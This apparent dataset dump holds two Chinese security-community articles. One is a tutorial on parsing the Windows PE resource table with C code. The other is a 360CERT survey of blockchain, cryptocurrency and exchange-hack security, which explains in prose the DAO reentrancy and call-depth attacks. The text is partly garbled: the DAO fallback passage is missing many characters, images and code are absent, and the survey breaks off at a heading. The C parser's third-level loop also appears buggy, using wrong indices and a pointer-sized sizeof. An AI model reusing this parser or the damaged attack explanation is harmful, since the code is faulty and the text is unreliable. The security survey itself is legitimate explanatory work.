text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 深入理解win32（八）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在上一节里面我们对导入表以及绑定导入表进行了了解以及代码解析，在这一节里面我们来对PE结构中比较复杂的一个表 — 资源表来进行了解。
## 资源表
资源表是PE所有表里边最复杂的表，造成资源表复杂是有历史原因的，简单说就是微软设计PE的时候错误的以为只要定义16位中的资源类型就够了，后来发现远远不够，但是PE结构已经定下来了，只能在原有基础上修改，因此就造成了资源表这块比较不好理解。
所谓的不好理解，就是它里边用到的结构，其中的属性会出现位段/位域的用法，同一个4字节，要根据高位判断它到底是一个整数还是一个偏移；然后偏移并不是RVA，而是相对于资源表的偏移。
首先我们来看一下资源表在PE里面的位置，位于数据目录项的第三个
资源目录的结构如下
typedef struct _IMAGE_RESOURCE_DIRECTORY {
DWORD Characteristics; //资源属性 保留 0
DWORD TimeDateStamp; //资源创建的时间
WORD MajorVersion; //资源版本号 未使用 0
WORD MinorVersion; //资源版本号 未使用 0
WORD NumberOfNamedEntries; //以名称命名的资源数量
WORD NumberOfIdEntries; //以ID命名的资源数量
// IMAGE_RESOURCE_DIRECTORY_ENTRY DirectoryEntries[];
} IMAGE_RESOURCE_DIRECTORY, *PIMAGE_RESOURCE_DIRECTORY;
在资源表里面有很多属性是保留或者未使用的，我们只需要关注`NumberOfNamedEntries`和`NumberOfIdEntries`这两个结构，与导入导出表相似，资源表也是根据以ID命名和以名称命名来统计具体资源的个数的
但是这并不是资源表的真正结构，资源表的真正结构如下所示
其中每一层都有一个资源目录这个结构，这个结构的意义就是用来统计有多少个`IMAGE_RESOURCE_DIRECTORY_ENTRY`结构，如下所示
typedef struct _IMAGE_RESOURCE_DIRECTORY_ENTRY {
union { //目录项的名称、或者ID
struct {
DWORD NameOffset:31;
DWORD NameIsString:1;
};
DWORD Name;
WORD Id;
};
union {
DWORD OffsetToData; //目录项指针
struct {
DWORD OffsetToDirectory:31;
DWORD DataIsDirectory:1;
};
};
} IMAGE_RESOURCE_DIRECTORY_ENTRY, *PIMAGE_RESOURCE_DIRECTORY_ENTRY;
`IMAGE_RESOURCE_DIRECTORY_ENTRY`这个结构在每一层里面的含义都是不相同的，如图所示，在第一层里面用来判断资源的类型，第二层里面用来判断资源的编号，第三层里面表示的是代码页
我们继续探究`IMAGE_RESOURCE_DIRECTORY_ENTRY`这个结构里面的值，首先是第一个联合体，占4字节
union { //目录项的名称、或者ID
struct {
DWORD NameOffset:31;
DWORD NameIsString:1;
};
DWORD Name;
WORD Id;
};
看一下这里`DWORD NameOffset:31;`和`DWORD
NameIsString:1;`这两个值，`NameOffset:31`就是表示占低31位，而`NameIsString`则占剩下的1位，之前提到过在第一层里面`Name`表示的就是资源类型，那么什么是资源类型呢？每种资源有类型及名字，它们是数值标识符或字符串。windows定义了十六种预定义类型，如光标对应1，位图对应2，图标对应3等等。而资源类型既可以用序号表示，也可以用字符串表示，那么我们该如何判断资源类型到底用什么表示呢？这里就需要看`NameIsString`的值了
当最高位为1时，即`NameIsString = 1`
时，低31位为一个UNICODE指针，指向`_IMAGE_RESOURCE_DIR_STRING_U`结构，在这个结构里面`Length`表示长度，`NameString[1]`表示的是真正UNICODE起始的地址
typedef struct _IMAGE_RESOURCE_DIR_STRING_U {
WORD Length;
WCHAR NameString[ 1 ];
} IMAGE_RESOURCE_DIR_STRING_U, *PIMAGE_RESOURCE_DIR_STRING_U;
当最高位为0时，表示字段的值作为ID使用
再就是第二个联合体，作为目录项指针，这个结构的作用就是指向第二层的结构地址
union {
DWORD OffsetToData; //目录项指针
struct {
DWORD OffsetToDirectory:31;
DWORD DataIsDirectory:1;
};
};
当这里有一个注意的点就是`OffsetToData`这个值并不是一个RVA，当`OffsetToData`的最高位为1时，这里需要用资源表的起始地址加上`OffsetToData`的低31位得到的内存地址，就是第二层结构所在的起始地址，若最高位为0，则指向`IMAGE_RESOURCE_DATA_ENTRY`结构
来到第二层过后，还是跟第一层相同的`IMAGE_RESOURCE_DIRECTORY`跟`IMAGE_RESOURCE_DIRECTORY_ENTRY`结构，这时候的`Name`字段表示的就是资源的编号了，可以理解为有几个资源的意思，我们用
程序来看一下，这里相当于第二层就有4个`IMAGE_RESOURCE_DIRECTORY_ENTRY`结构，解析的方法跟第一层相同，判断最高位的值是否为1来判断是字符串还是序号。
然后第二个联合体的解析方法也跟第一层的相似，这里若最高位为1，通过第二层的起始地址加上`OffsetToData`的低31位得到的内存地址即可指向第三层结构所在的起始地址
union {
DWORD OffsetToData; //目录项指针
struct {
DWORD OffsetToDirectory:31;
DWORD DataIsDirectory:1;
};
};
得到第三层结构的起始地址后，还是跟第一层、第二层相同的`IMAGE_RESOURCE_DIRECTORY`跟`IMAGE_RESOURCE_DIRECTORY_ENTRY`结构，这里的`Name`字段表示的就是代码页，那么什么是代码页呢？
>
> 代码页是字符集编码的别名，也有人称”内码表”。早期，代码页是IBM称呼电脑BIOS本身支持的字符集编码的名称。当时通用的操作系统都是命令行界面系统，这些操作系统直接使用BIOS供应的VGA功能来显示字符，操作系统的编码支持也就依靠BIOS的编码。现在这BIOS代码页被称为OEM代码页。图形操作系统解决了此问题，图形操作系统使用自己字符呈现引擎可以支持很多不同的字符集编码。
>
> 早期IBM和微软内部使用特别数字来标记这些编码，其实大多的这些编码已经有自己的名称了。虽然图形操作系统可以支持很多编码，很多微软程序还使用这些数字来点名某编码。
这里通俗点来说的话，就是每个国家自己的语言都有一个代码页，简体中文的代码页编号就是2052，如下所示
还是通过第一个联合体判断是以字符串还是以数值表示，然后第二个联合体也跟之前的方法相同，这里通过计算得到的地址就是指向数据项即`_IMAGE_DATA_DIRECTORY`结构
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
这里`VirtualAddress`是rva，表示资源真正存储的位置，`Size`表示资源的大小
## 代码解析
我们在上面已经了解了资源表的结构，那么我们接下来进行资源表的代码解析，在`IMAGE_RESOURCE_DIRECTORY_ENTRY`结构的第一个联合里面要进行最高位的判断，那么这里可以用与1相与的方法来判断最高位是否为1，或者直接用指针指向`NameIsString`结构进行判断
printf("%x\n",(pResourceEntry[i].Name & 0x80000000) == 0x80000000);
printf("%x\n",pResourceEntry[i].NameIsString == 1)
那么首先是第一层，定义指针判断最高位是否为0
if (!pResEntry[i].NameIsString)
判断是否为windows预定义的资源类型，我们知道windows有16种预定义资源类型，转换为十六进制为0x10
if (pResEntry[i].Id < 0x11)
若最高位为1则指向结构体并复制名称
PIMAGE_RESOURCE_DIR_STRING_U pStringRes = (PIMAGE_RESOURCE_DIR_STRING_U)((DWORD)pResource + pResEntry[i].NameOffset);
WCHAR szStr[MAX_PATH] = { 0 };
memcpy(szStr, pStringRes->NameString, pStringRes->Length*sizeof(WCHAR));
printf("First floor->资源名称:%ls \n", szStr);
第二层、第三层与第一层的解析类似，主要是最后一个指向`_IMAGE_DATA_DIRECTORY`结构，定义指针即可
if(!pResEntry3[i].DataIsDirectory)
{
//取数据偏移
PIMAGE_RESOURCE_DATA_ENTRY pResData = (PIMAGE_RESOURCE_DATA_ENTRY)((DWORD)pResource + pResEntry3->OffsetToData);
printf("Third floor->数据RVA:%x,数据大小:%x\n", pResData->OffsetToData, pResData->Size);
}
完整代码如下
void PrintResourceTable()
{
//定义windows自带的资源
static char* szResName[0x11] =
{ 0, "鼠标指针", "位图", "图标", "菜单", "对话框", "字符串列表",
"字体目录", "字体", "快捷键", "非格式化资源", "消息列表",
"鼠标指针组", "zz", "图标组", "xx", "版本信息"
};
LPVOID FileBuffer = NULL;
PIMAGE_DOS_HEADER pDosHeader = NULL;
PIMAGE_NT_HEADERS pNTHeader = NULL;
PIMAGE_FILE_HEADER pPEHeader = NULL;
PIMAGE_OPTIONAL_HEADER32 pOptionHeader = NULL;
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
PIMAGE_IMPORT_DESCRIPTOR pImport = NULL;
PIMAGE_BOUND_IMPORT_DESCRIPTOR pBoundImport = NULL;
PIMAGE_RESOURCE_DIRECTORY pResource = NULL;
PIMAGE_RESOURCE_DIRECTORY pResourceDirectory = NULL;
DWORD NumEntry = NULL;
DWORD NumEntry2 = NULL;
DWORD dwResourceData = NULL;
DWORD FileAddress = NULL;
PDWORD pSectionAddress = NULL;
FileToFileBuffer((char*)IN_path, &FileBuffer);
if (!FileBuffer)
{
printf("File->FileBuffer失败");
return;
}
pDosHeader = (PIMAGE_DOS_HEADER)FileBuffer;
pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)pDosHeader + pDosHeader->e_lfanew);
pPEHeader = (PIMAGE_FILE_HEADER)((DWORD)pNTHeader + 4);
pOptionHeader = (PIMAGE_OPTIONAL_HEADER32)((DWORD)pPEHeader + IMAGE_SIZEOF_FILE_HEADER);
pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pOptionHeader + pPEHeader->SizeOfOptionalHeader);
//定位资源目录
FileAddress = RvaToFoa((char*)IN_path, pOptionHeader->DataDirectory[2].VirtualAddress) + (DWORD)FileBuffer;
pResource = (PIMAGE_RESOURCE_DIRECTORY)FileAddress;
//printf("NumberOfNamedEntries:%d,NumberOfIdEntries:%d\n", pResource->NumberOfNamedEntries, pResource->NumberOfIdEntries);
//获取Resourceentry个数
NumEntry = pResource->NumberOfNamedEntries + pResource->NumberOfIdEntries;
//资源目录表的宽度
dwResourceData = sizeof(PIMAGE_RESOURCE_DIRECTORY);
//定位资源目录节点
PIMAGE_RESOURCE_DIRECTORY_ENTRY pResEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((DWORD)pResource + 16);
//第一层
for( int i = 0; i < NumEntry ; i++)
{
if (!pResEntry[i].NameIsString) //最高位为0,指向数字
{
if (pResEntry[i].Id < 0x11) //windows共有16种预定义资源类型,当Id > 0x11则为自己写的资源
{
printf("First floor->资源ID:%p,资源名称:%s\n", pResEntry[i].Id, szResName[pResEntry[i].Id]);
}
else
{
char type[20];
sprintf(type, "%d", pResEntry[i].Id);
printf("First floor->资源ID:%p,资源名称:%s\n", pResEntry[i].Id, type);
}
}
else //最高位为1,指向结构体
{
//获取偏移
PIMAGE_RESOURCE_DIR_STRING_U pStringRes = (PIMAGE_RESOURCE_DIR_STRING_U)((DWORD)pResource + pResEntry[i].NameOffset);
//定义一个用来接收自定义字符串的宽数组然后直接复制
WCHAR szStr[MAX_PATH] = { 0 };
memcpy(szStr, pStringRes->NameString, pStringRes->Length*sizeof(WCHAR));
printf("First floor->资源名称:%ls \n", szStr);
}
//第二层
if (pResEntry[i].DataIsDirectory) //目录项指针为1
{
printf("Second floor->目录偏移:%p\n", pResEntry[i].OffsetToDirectory);
//定义指向第二层目录的指针
PIMAGE_RESOURCE_DIRECTORY pResource2 = (PIMAGE_RESOURCE_DIRECTORY)((DWORD)pResource + pResEntry[i].OffsetToDirectory);
PIMAGE_RESOURCE_DIRECTORY_ENTRY pResEntry2 = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((DWORD)pResource2 + 16);
//获取Resourceentry个数
NumEntry2 = pResource2->NumberOfIdEntries + pResource2->NumberOfNamedEntries;
for (int i = 0 ; i < NumEntry2 ; i++)
{
if (!pResEntry2[i].NameIsString)
{
printf("Second floor->资源表示ID:%d\n", pResEntry2[i].Id);
}
else
{
//获取偏移
PIMAGE_RESOURCE_DIR_STRING_U pStringRes2 = (PIMAGE_RESOURCE_DIR_STRING_U)((DWORD)pResource + pResEntry2[i].NameOffset);
//定义一个用来接收自定义字符串的宽数组然后直接复制
WCHAR szStr2[MAX_PATH] = { 0 };
memcpy(szStr2, pStringRes2->NameString, pStringRes2->Length*sizeof(WCHAR));
printf("Second floor->资源字符串:%ls \n", szStr2);
}
}
//第三层
//定义指向第三层目录的指针
PIMAGE_RESOURCE_DIRECTORY pResource3 = (PIMAGE_RESOURCE_DIRECTORY)((DWORD)pResource + pResEntry2[i].OffsetToDirectory);
PIMAGE_RESOURCE_DIRECTORY_ENTRY pResEntry3 = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((DWORD)pResource3 + 16);
printf("Third floor->资源:%d\n", pResource3[i].Characteristics);
if(!pResEntry3[i].DataIsDirectory)
{
//取数据偏移
PIMAGE_RESOURCE_DATA_ENTRY pResData = (PIMAGE_RESOURCE_DATA_ENTRY)((DWORD)pResource + pResEntry3->OffsetToData);
printf("Third floor->数据RVA:%x,数据大小:%x\n", pResData->OffsetToData, pResData->Size);
}
}
printf("\n\n");
}
}
这里通过我们的代码解析跟程序解析进行对比相同，证明解析成功 | 社区文章 |
作者： [360CERT](http://mp.weixin.qq.com/s/nJFii2oTEzKTnQNW04FXUQ "360CERT")
#### 0x00 背景介绍
区块链技术是金融科技（Fintech）领域的一项重要技术创新。
作为分布式记账（Distributed Ledger
Technology，DLT）平台的核心技术，区块链被认为在金融、征信、物联网、经济贸易结算、资产管理等众多领域都拥有广泛的应用前景。区块链技术自身尚处于快速发展的初级阶段，现有区块链系统在设计和实现中利用了分布式系统、密码学、博弈论、网络协议等诸多学科的知识，为学习原理和实践应用都带来了不小的挑战。
区块链属于一种去中心化的记录技术。参与到系统上的节点，可能不属于同一组织、彼此无需信任；区块链数据由所有节点共同维护，每个参与维护节点都能复制获得一份完整记录的拷贝，由此可以看出区块链技术的特点：
* 维护一条不断增长的链，只可能添加记录，而发生过的记录都不可篡改；
* 去中心化，或者说多中心化，无需集中的控制而能达成共识，实现上尽量分布式；
* 通过密码学的机制来确保交易无法抵赖和破坏，并尽量保护用户信息和记录的隐私性。
虽然单纯从区块链理解，仅仅是一种数据记录技术，或者是一种去中心化的分布式数据库存储技术，但如果和智能合约结合扩展，就能让其提供更多复杂的操作，现在活跃的各个数字货币就是其中一种表现形式。
#### 0x01 区块链安全性思考
由于区块链技术的特性，在设计之处就想要从不同维度解决一部分安全问题：
##### 01 Hash唯一性
在blockchain中，每一个区块和Hash都是以一一对应的，每个Hash都是由区块头通过sha256计算得到的。因为区块头中包含了当前区块体的Hash和上一个区块的Hash，所以如果当前区块内容改变或者上一个区块Hash改变，就一定会引起当前区块Hash改变。如果有人修改了一个区块，该区块的
Hash
就变了。为了让后面的区块还能连到它，该人必须同时修改后面所有的区块，否则被改掉的区块就脱离区块链了。由于区块计算的算力需求强度很大，同时修改多个区块几乎是不可能的。
由于这样的联动机制，块链保证了自身的可靠性，数据一旦写入，就无法被篡改。这就像历史一样，发生了就是发生了，从此再无法改变，确保了数据的唯一性。
##### 02 密码学安全性
以比特币为例，数字货币采用了非对称加密，所有的数据存储和记录都有数字签名作为凭据，非对称加密保证了支付的可靠性。
##### 03 身份验证
在数字货币交易过程中，由一个地址到另一个地址的数据转移都会对其进行验证：
- 上一笔交易的Hash(验证货币的由来)
- 本次交易的双方地址
- 支付方的公钥
- 支付方式的私钥生成的数字签名
验证交易是否成功属实会经过如下几步：
- 找到上一笔交易确认货币来源
- 计算对方公钥指纹并与其地址比对，保证公钥的真实性
- 使用公钥解开数字签名，保证私钥真实性
##### 04 去中心化的分布式设计
针对区块链来说，账本数据全部公开或者部分公开，强调的是账本数据多副本存在，不能存在数据丢失的风险，区块链当前采用的解决方案就是全分布式存储，网络中有许多个全节点，同步所有账本数据（有些同步部分，当然每个数据存储的副本足够多），这样网络中的副本足够多，就可以满足高可用的要求，丢失数据的风险就会低很多。所以建议部署区块链网络时，全节点尽量分散，分散在不同地理位置、不同的基础服务提供商、不同的利益体等。
##### 05 传输安全性
在传输过程中，数据还未持久化，这部分空中数据会采用HTTP+SSL(也有采用websocket+websocketS)进行处理，从而保证数据在网络传输中防篡改且加密处理。
#### 0x02 数字货币安全性思考
##### 01 BTC
比特币（Bitcoin，代号BTC）是一种用去中心化、全球通用、不需第三方机构或个人，基于区块链作为支付技术的电子加密货币。比特币由中本聪于2009年1月3日，基于无国界的对等网络，用共识主动性开源软件发明创立。比特币也是目前知名度与市场总值最高的加密货币。
###### 比特币区块结构
###### 钱包和交易
比特币钱包的地址就是公钥通过 Base58 算法编码后的一段字符串，使用该算法可以将公钥中的一些不可见字符编码成平时常见的字符。Base58 相对于
Base64 来说消除了非字母或数字的字符，如：“+”和“/”，同时还消除了那些容易产生混淆的字符，如数字 0 和大写字母 O，大写字母 I 和小写字母
l。这一段用作比特币钱包地址的字符串就相当于一个比特币账户。
交易属于比特币中的核心部分，区块链应用到数字货币上也是为提供更安全可靠的交易。交易之前会先确认每一笔笔交易的真实性，如果是真实的，交易记录便会写入到新的区块中去，而一旦加入到区块链中了也就意味着再也不能被撤回和修改。
交易验证流程大概为：
1. 验证交易双方的钱包地址，也就是双方的公钥。
2. 支付方的上一笔的交易输出，前面也说到了钱包里面是没有存放你的比特币数量的，而你每一笔交易都会产生交易输出记录到区块链中。通过交易输出可以确认支付方是否能够支付一定数量的比特币。
3. 支付方的私钥生成的数字签名。如果使用支付方的公钥能解开这个数字签名便可以确认支付方的身份是真实的，而不是有人恶意的使用当前的支付方的钱包地址在做交易。
一旦这些信息都能得到确认便可以将交易信息写入到新的区块中去，完成交易。受比特币区块大小的限制（目前的为 1MB，一笔交易信息大概需要 500
多字节），一个区块最多只能包含 2000
多笔的交易。因为区块链中记录了所有的交易信息，所以每个比特币钱包的交易记录和币的数量都是可以被查到的，但是只要没有对外公开承认钱包地址是属于你的，也不会有人知道一个钱包地址的真实拥有者。
还有一种交易叫做 coinbase 交易，当矿工挖到一个新的区块时，他会获得挖矿奖励。挖矿奖励就是通过 coinbase
交易拿到手的，也一样是需要把交易信息添加到新的区块中去，但是 coinbase 交易不需要引用之前的交易输出。
###### 安全问题
比特币基于区块链，具有去中心化结构，用户通过一个公开的地址和密钥来宣示所有权。某种程度上，谁掌握了这个密钥，谁就实质性地拥有了对应地址中的比特币资产。而区块链的防篡改特征，是指比特币的交易记录不可篡改，而非密钥不会丢失。同时，也正因为区块链不可篡改，密钥一旦丢失，也意味着不可能通过修改区块链记录来拿回比特币。
因此针对比特币的盗币事件屡有发生，主要是通过下面三个手段：
1. 交易平台监守自盗
2. 交易所遭受黑客攻击
3. 用户交易账户被盗
交易平台监守自盗可以向平台索回，但是黑客攻击导致的盗币，很难被追回。因为黑客一旦盗取比特币，接下来便会通过混币等手段进行洗白，除非有国家力量强力介入，否则追回的可能性仅仅停留在理论层面。
##### 02 ETH
以太币（Ether，代号ETH）为以太坊区块链上的代币，可在许多加密货币的外汇市场上交易，它也是以太坊上用来支付交易手续费和运算服务的媒介。以太坊（Ethereum）是一个开源的有智能合约功能的公共区块链平台。通过其专用加密货币以太币提供去中心化的虚拟机（称为“以太虚拟机”Ethereum
Virtual Machine）来处理点对点合约。
###### 智能合约
以太坊与比特币最大的一个区别——提供了一个功能更强大的合约编程环境。如果说比特币的功能只是数字货币本身，那么在以太坊上，用户还可以编写智能合约应用程序，直接将区块链技术的发展带入到
2.0 时代。
以太坊中的智能合约是运行在虚拟机上的，也就是通常说的 EVM（Ethereum Virtual
Machine，以太坊虚拟机）。这是一个智能合约的沙盒，合约存储在以太坊的区块链上，并被编译为以太坊虚拟机字节码，通过虚拟机来运行智能合约。由于这个中间层的存在，以太坊也实现了多种语言的合约代码编译，网络中的每个以太坊节点运行
EVM 实现并执行相同的指令。如果说比特币是二维世界的话，那么以太坊就是三维世界，可以实现无数个不同的二维世界。
###### 安全问题
ETH最大的特点就是智能合约，而智能合约漏洞也就导致了ETH的安全问题。
2016年黑客通过The Dao，利用智能合约中的漏洞，成功盗取360万以太币。THE
DAO持有近15%的以太币总数，因此这次事件对以太坊网络及其加密币都产生了负面影响。
The DAO事件发生后，以太坊创始人Vitalik
Buterin提议修改以太坊代码，对以太坊区块链实施硬分叉，将黑客盗取资金的交易记录回滚，得到了社区大部分矿工的支持，但也遭到了少数人的强烈反对。最终坚持不同意回滚的少数矿工们将他们挖出的区块链命名为Ethereum
Classic（以太坊经典，简称ETC），导致了以太坊社区的分裂。在虚拟货币历史上，这是第一次，也可能唯一一次由于安全问题导致的区块链分叉事件。
无独有偶2017年7月19日, 多重签名钱包Parity1.5及以上版本出现安全漏洞,15万个ETH被盗,共价值3000万美元。
两次被盗事件都是因为智能合约中的漏洞。让我们看到，虚拟货币的安全不仅仅是平台和个人，区块链上的应用，也是我们应该关注的内容。
##### 03 XMR
门罗币（Monero，代号XMR）是一个创建于2014年4月开源加密货币，它着重于隐私、分权和可扩展性。与自比特币衍生的许多加密货币不同，Monero基于CryptoNote协议，并在区块链模糊化方面有显著的算法差异。
###### 隐蔽地址
隐蔽地址是为了解决输入输出地址关联性的问题。每当发送者要给接收者发送一笔金额的时候，他会首先通过接收者的地址（每次都重新生成），利用椭圆曲线加密算出一个一次性的公钥。然后发送者将这个公钥连同一个附加信息发送到区块链上，接收方可以根据自己的私钥来检测每个交易块，从而确定发送方是否已经发送了这笔金额。当接收方要使用这笔金额时，可以根据自己的私钥以及交易信息计算出来一个签名私钥，用这个私钥对交易进行签名即可。
###### 环签名
隐蔽地址虽然能保证接收者地址每次都变化，从而让外部攻击者看不出地址关联性，但并不能保证发送者与接收者之间的匿名性。因此门罗币提出了一个环签名的方案——事实上，在古代就已经有类似的思想了：如图5所示，联名上书的时候，上书人的名字可以写成一个环形，由于环中各个名字的地位看上去彼此相等，因此外界很难猜测发起人是谁。这就是环签名。
除了交易地址，交易金额也会暴露部分隐私。门罗币还提供了一种叫做环状保密交易（RingCT）的技术来同时隐藏交易地址以及交易金额。这项技术正在逐步部署来达到真正的匿名。这项技术采用了多层连接自发匿名组签名（Multi-layered Linkable Spontaneous Anonymous Group signature）的协议。
###### 安全问题
比特币交易私密性方面做的不太好，关于货币隐私的两个基本属性：
1. 不可链接性（Unlinkability）：无法证明两个交易是发送给同一个人的，也就是无法知道交易的接收者是谁。
2. 不可追踪性（Untraceability）：无法知道交易的发送者是谁。
比特币交易要发送地址信息，很明显不符合之上的要求。门罗币通过隐蔽地址来保证不可链接性，通过环签名来保证不可追踪性，从而给用户的交易信息提供了很好的隐私性。另一方面，比特币挖矿主要依赖于大量专业化的专用集成电路（ASIC）。它的算法在ASIC上的运行速度远超于在标准家庭电脑或者笔记本电脑上运行。相比之下，门罗币的挖矿算法要精良得多。它并不依赖于ASIC，使用任何CPU或GPU都可以完成，这就意味着门罗币具有更低的挖掘门槛。
门罗币的这些特性，使其成为黑产挖矿的不二之选。过去的一段时间，出现了许多以门罗币挖矿为目的的网络攻击事件。
##### 04 小结
在以太坊这种平台区块链上，如果运行智能合约，应用程序出现漏洞，同样也会威胁其上的数字资产。
以太坊解决了比特币的单应用的局限，使得区块链像一个操作系统，开发者可以在其上搭建自己的“应用”。门罗币降低了挖矿的门槛，同时又满足了交易私密性需求。这些特性都符合黑产的需要，过去的一段时间，以门罗币挖矿为目的的网络攻击事件时有发生。
#### 0x03 交易平台安全性思考
随着区块链技术的迅速发展,使得虚拟货币渐渐走入的大众的视线。随之而来的就是大量的虚拟币交易平台。虚拟货币交易平台就是为用户提供虚拟货币与虚拟货币之间兑换的平台，部分平台还提供人民币与虚拟货币的p2p兑换服务。现在交易平台平均每天的交易额都是数以亿计，然而交易平台背后的经营者能力与平台的自身的安全性并没有很好的保障。从14年至今据不完全统计，单纯由于交易所安全性导致的直接损失就达到了1.8亿美元之多。
随着虚拟币的水涨船高，交易所就成了黑客们的首要目标，据统计入侵一家交易所给黑客带来的直接利益大约1000万美元左右，然而交易所的安全性参差不齐和各个国家对这类平台基本都暂时没有好的管控策略，这给黑客带来了很大的便利，同时也直接威胁着用户的资金安全。
##### 01 平台被黑事件回顾
###### 比特儿(Bter.com) 比特币交易平台被盗事件
2014-08-15
事件简介：
比特儿是一家中国的山寨币交易所。NXT等山寨币都在上面交易。
由于POS币的钱包必须上线运行才能获取利息。因此NXT钱包必须在线运行，给了入侵的机会。POS币不能冷钱包保存，暴露出POS的重大安全隐患。黑客盗走NXT后与平台方通过交易留言进行了谈判：
并要求平台方支付BTC作为赎金换回NXT
最终平台支付了110个BTC，却未能完全赎回NXT，只能要求社区回滚NXT的交易区块。
本次比特儿被黑是历史上第一次完全公开展现的网络犯罪，暴露出交易平台和数字货币在当时没有监管野蛮生长的严肃问题。
###### 以太币组织The DAO被黑事件
2016-06
事件简介：
以太币的去中心化组织The
Dao被黑，价值逾5000万美元的以太币外溢出DAO的钱包。以太币（ETH）市场价格瞬间缩水，从记录高位21.50美元跌至15.28美元，跌幅逾23%。
在此前的智能合约写法中，有三个严重漏洞，黑客也正是利用这几个漏洞攻击The DAO窃取以太币。
###### fallback函数调用
向合约地址发送币有两种写法：
二者都是发送20个ether,都是 个新的message call, 同的是这两个调 的gasli mit 样。send()给予0的gas(相当于
call.gas(0).value()() ), call.value()() 给予全部(当前剩余)的gas。 当我们调 某个智能合约时,如果指定的函数找
到,或者根本就没指定调 哪个函数(如发送ether)时,fallback函数 就会被调用。
当通过 addr.call.value()() 的 式发送ether,和send() 样,fallback函数会被调 ,但是传递给fallback函数可 的
是当前剩余的所有gas,如果精 设计 个fallback就能影响到系统,如写storage, 新调 新的智能合约等等。
###### 递归调用
一段用户从智能合约中取款的代码如下：
如果付款方的合约账户中有1000个ether，而取款方有10个ether，此处就有严重的递归调用问题，取款方可以将1000个ether全部取走。
###### 调用深度限制
合约可以通过message call调用其他智能合约， 被调用的合约继续通过message call在调用其他合约，这样的嵌套调用深度限制为1024。
如果攻击者制造以上的1023个嵌套调用，之后再调用`sendether()`，就可以让`add.send(20ether)`失效，而其他执行成功：
在DAO的代码
当合约执行到`withdrawRewardFor(msg.sender);`进入到函数`withdrawRewardFor`判断
putOut如下：
和此前的举 类似,DAO通过 `addr.call.value()()` 发送以太币 没有选择 `send()` 从 客只需要创建fallback再次调
`splitDAO()` 即可转移多份以太币,PoC如下:
The DAO事件给整个以太坊社区带来了重大影响，也导致了之后的硬分叉和ETC(以太经典)的剥离。
###### Bitfinex遭黑客攻击事件
2016-08
事件简介：
Bitfinex是交易比特币、ether和莱特币等数字货币的最大交易所之一。
根据Bitfinex在8月2日凌晨发布的公告，该交易所在发现了一个安全漏洞后便停止了交易。发布在官网上的声明表示：
Bitfinex负责社区和产品开发的主管塔克特(Zane
Tackett)证实，119,756个比特币遭窃，该公司已经知道相关系统是如何被入侵的。以周二的价格计算，失窃比特币价值约6,500万美元，受此消息影响，全球比特币价格应声下跌25%。
随后Bitfinex官网发布公告称这次损失将由平台上所有用户共同承担，这将导致每位用户的账户平均损失36%
对于类似比特币这样的数字货币，由于是通过数学算法挖矿形成，与实体质地的纸币不同，这些数字货币交易的安全性就完全体现在交易所的风险控制能力以及防黑客能力上。
###### Parity多重签名钱包被盗事件
2017-07
事件简介：
Parity是一款多重签名钱包，是目前使用最广泛的以太坊钱包之一，创始人兼CTO 是以太坊前CTO黄皮书作者Gavin Woods。
7 月 19 日，Parity发布安全警报，警告其钱包软件1. 5 版本及之后的版本存在一个漏洞。据该公司的报告，确认有150，000ETH(大约价值
3000 万美元)被盗。据Parity所说，漏洞是由一种叫做wallet.sol的多重签名合约出现bug导致。后来，白帽黑客找回了大约377,000
受影响的ETH。
本次攻击造成了以太币价格的震荡，Coindesk的数据显示，事件曝光后以太币价格一度从235美元下跌至196美元左右。此次事件主要是由于合约代码不严谨导致的。我们可以从区块浏览器看到黑客的资金地址
可以看到，一共盗取了153,037 个ETH，受到影响的合约代码均为Parity的创始人Gavin Wood写的Multi-Sig库代码。通过分析代码可以确定核心问题在于越权的函数调用，合约接口必须精心设计和明确定义访问权限，或者更进一步说，合约的设计必须符合某种成熟的模式，或者标准，合约代码部署前最好交由专业的机构进行评审。否则，一个不起眼的代码就会让你丢掉所有的钱。
###### USDT发行方Tether遭受黑客攻击事件
2017-12
事件简介：
Tether公司是USDT代币的发行公司——USDT是一种与美元挂钩的加密货币，如今正在被交易所广泛用于进行交易。该公司在公告中声称其系统遭受攻击，已经导致价值3000万美元的USDT代币被盗。
被盗的代币不会再赎回，但Tether公司表示他们正在试图恢复令牌，以确保这些交易所不再交易或引入这些被盗的资金，不让这些资金回到加密货币经济。此次被黑事件后，比特币的价格下降了5.4%，是11月13日以来的最高纪录。然而，Tether被盗声明一出，国外社区有用户认为，该地址中被盗的3000万美元只是Tether掩耳盗铃的第一步。实际面临的兑付危机远远不止3000万美元。此次事件不仅单纯的一次虚拟币被盗事件同时导致了Tether的信任危机。
###### Youbite交易所被入侵事件
2017-12-19
事件简介：
12月19日，韩国数字货币交易所Youbite宣布在当天下午4时（北京时间3时）左右，交易平台受到黑客入侵，造成的损失相当于平台内总资产的17%。
这家平台是韩国一家市场份额较小的数字货币交易平台，在今年4月，这家平台也曾经遭受过黑客攻击，损失了近4000个比特币。
Youbit表示，在4月份遭遇黑客攻击之后，其加强了安全策略，将其余83％的交易所资金都安全地存放在冷钱包里。尽管如此，运营该交易所的公司Yaipan还是于本周二申请了破产，并停止了平台交易。公告显示，该交易所将所有客户的资产价值减记至市场价值的75%，客户可立即提取这部分资产。该公司表示，将在破产程序结束时偿还剩余的资金，届时将提出保险索赔并出售公司的经营权。
##### 03 小结
虚拟币的火热，直接搅动着金融市场与科技市场，也面临着各种安全问题。现在各个国家也开始对区块链市场与虚拟币市场相继出台政策与治理方案，对交易所也开始纳入管控范围，韩国前段时间对其国家7家大型交易所进行了安全测试均被成功入侵，但每个交易所每天交易量是数以亿计的。可见这类安全问题不是个例，作为虚拟币交易平台，是否有资质有能力保护在线虚拟货币啊安全性成为一个值得考究的问题，虚拟币已经渐渐的从网络进入到现实世界中，然而这个过程的进步同样带来了很大的隐患，这也促使着政府企业以及个人对交易平台以及虚拟币本身更加的慎重选择与投入。
#### 0x04 区块链在安全行业的应用
